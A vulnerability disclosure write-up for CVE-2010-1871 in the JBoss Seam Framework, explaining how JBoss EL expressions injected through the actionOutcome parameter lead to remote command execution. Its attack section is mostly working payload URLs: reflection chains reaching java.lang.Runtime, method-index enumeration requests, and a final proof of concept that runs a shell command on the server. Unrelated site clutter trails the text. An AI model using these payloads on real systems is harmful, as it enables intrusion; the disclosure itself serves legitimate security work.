JBoss Seam Framework remote code execution

简介:  Here's interesting bug I found in JBoss Seam Framework, which led to remote code execution using JBoss EL expressions.
 Here's interesting bug I found in JBoss Seam Framework, which led to remote code execution using JBoss EL expressions. Having any sort of custom expression language in a web framework is always a sign of potential vulnerabilities (see  CVE-2010-1870 for another example of expression language vulnerability), since framework developers will try to add support for that expression language to various components, and some of those components may in turn handle user-controlled inputs without developers realizing it.

JBoss EL
JBoss expression language provides all the normal features you'd expect:
  • Method calling:  #{hotelBooking.bookHotel(hotel)}
  • Property retrieval: #{person.name}
  • Projection (iteration): #{company.departments.{d|d.name}}
Variables referenced (e.g.  hotelBooking person company ) are resolved using various EL resolvers(extend  javax.el.ELResolver ), such as com.sun.faces.el.ImplicitObjectELResolver (use 'guest' username to view) or SeamELResolver. These resolvers let you reference server-side session object and it's attributes, request attributes and parameters in your JBoss EL statements. Once base object is resolved you can call arbitrary methods on that object. All JBoss EL statements are expected to come from the application's developer and not user, since it's possible to reach any other class and it's methods using  java.lang.Class  and reflection API. For example, we can obtain reference to the class representing java.lang.Runtime as follows ( expressions  is one of the base objects available by default, but any other object will do, e.g.  request ):

expressions.getClass().forName('java.lang.Runtime')

to get all of it's methods:

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()

to invoke 19th method in the array returned by  getDeclaredMethods() :

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke()

JBoss EL does all the magic behind the scenes. If the method you are invoking isn't static, in which case you can simply pass  null, you'll have to provide an instance of the class to invoke the  method on to the  invoke()  call. you can use exactly the same approach, lets say we'd like to invoke 19th method on an an instance of  java.lang.Runtime which is returned by a static method at index 7:

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null))


CVE-2010-1871: actionOutcome is remote code execution

After stepping through the  sample booking app , I've come across org.jboss.seam.navigation.Pages.callAction() which takes value of the  actionOutcome  HTTP parameter and eventually passes it to JSF NavigationHandler's  handleNavigation  method (use 'guest' username with empty password to view). SeamNavigationHandler is Seam's implementation of JSF NavigationHandler and looking at its  handleNavigation()  you can see that if action outcome starts with / (checked by  isOutcomeViewId()  method) then it's passed to FacesManager.instance().interpolateAndRedirect() method which interpolates (executes) all JBoss EL expressions in actionOutcome URL's HTTP parameter values using Interpolator. Once all JBoss EL expressions have been interpolated user is redirected to the URL with expressions output in corresponding HTTP parameters. So to exploit this vulnerability attacker needs to supply actionOutcome that starts with / and has encoded JBoss EL statements in HTTP parameters values, example on seam-booking sample application:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23{expressions.getClass().forName('java.lang.Runtime')}

browser will be redirected to:

/seam-booking/pwn.seam?pwned=class+java.lang.Runtime&cid=14

in the request above we tell Seam that outcome of the action is at /pwn?pwned=#{expressions.getClass.forName('java.lang.Runtime')} and so it redirected us to /pwn.seam?pwned=<output of java.lang.Runtime class' toString() method>. And since attacker is able to see the output of her JBoss EL statements she is able to find out which methods of a particular class are at which array index. 

To execute arbitrary OS commands attacker needs to find indexes of the following 2 methods of the java.lang.Runtime() class in the array returned by the getDeclaredMethods() method:
1)  public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException
2) public static java.lang.Runtime java.lang.Runtime.getRuntime()

On my OS X, first method is at index 19 and second is at 7:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19]}
=>
/seam-booking/pwn.seam?pwned=public+java.lang.Process+java.lang.Runtime.exec(java.lang.String)+throws+java.io.IOException&cid=21

and

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7]}
=>
/seam-booking/pwn.seam?pwned=public+static+java.lang.Runtime+java.lang.Runtime.getRuntime()&cid=24

Other operating systems and JRE versions will have those methods at different indexes, using the above trick you can find out the indexes in the application you are testing yourself (there are around 24 methods in total).


Final PoC will look as follows:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.R
untime').getDeclaredMethods()[7].invoke(null), 'mkdir /tmp/PWNED')}


upon successful exploitation you'll be redirected to the URL below and /tmp/PWNED directory will be created:


/seam-booking/pwn.seam?pwned=java.lang.UNIXProcess%4051e1fb23&cid=31

the value of pwned parameter represent value returned by successful java.lang.Runtime.exec() call.


Timeline
July 19 - initial report.
July 22 - fix committed. Developers blacklisted # and { characters in actionOutcome .
July 27 - JBoss Seam team releases the fix for  JBoss Enterprise Application Platform only . Note, however, that vulnerability has nothing to do with authentication as RedHat/JBoss team states, it's the problem in the framework and following steps above you will see that.
目录
相关文章
|
6月前
|
Cloud Native Java Go
解决 Spring Boot 和 Gradle Java 版本兼容性问题:A problem occurred configuring root project ‘demo1‘. > Could n
解决 Spring Boot 和 Gradle Java 版本兼容性问题:A problem occurred configuring root project ‘demo1‘. > Could n
367 0
|
9月前
|
Java
SpringBoot导入第三方jar方法打包报错Failed to load ApplicationContext Failed to determine a suitable driver cla
这是第一篇博客,很早想写了,只不过每次解决问题后都觉得人家写的蛮好的,自己无须再写了,不过昨天打包时遇到的这个问题,自己找半天解决了,看很多博客也是许久才解决,不说了我的方法如下:
90 0
Application dependency determination tool
Application dependency determination tool
Application dependency determination tool
|
Java Android开发 应用服务中间件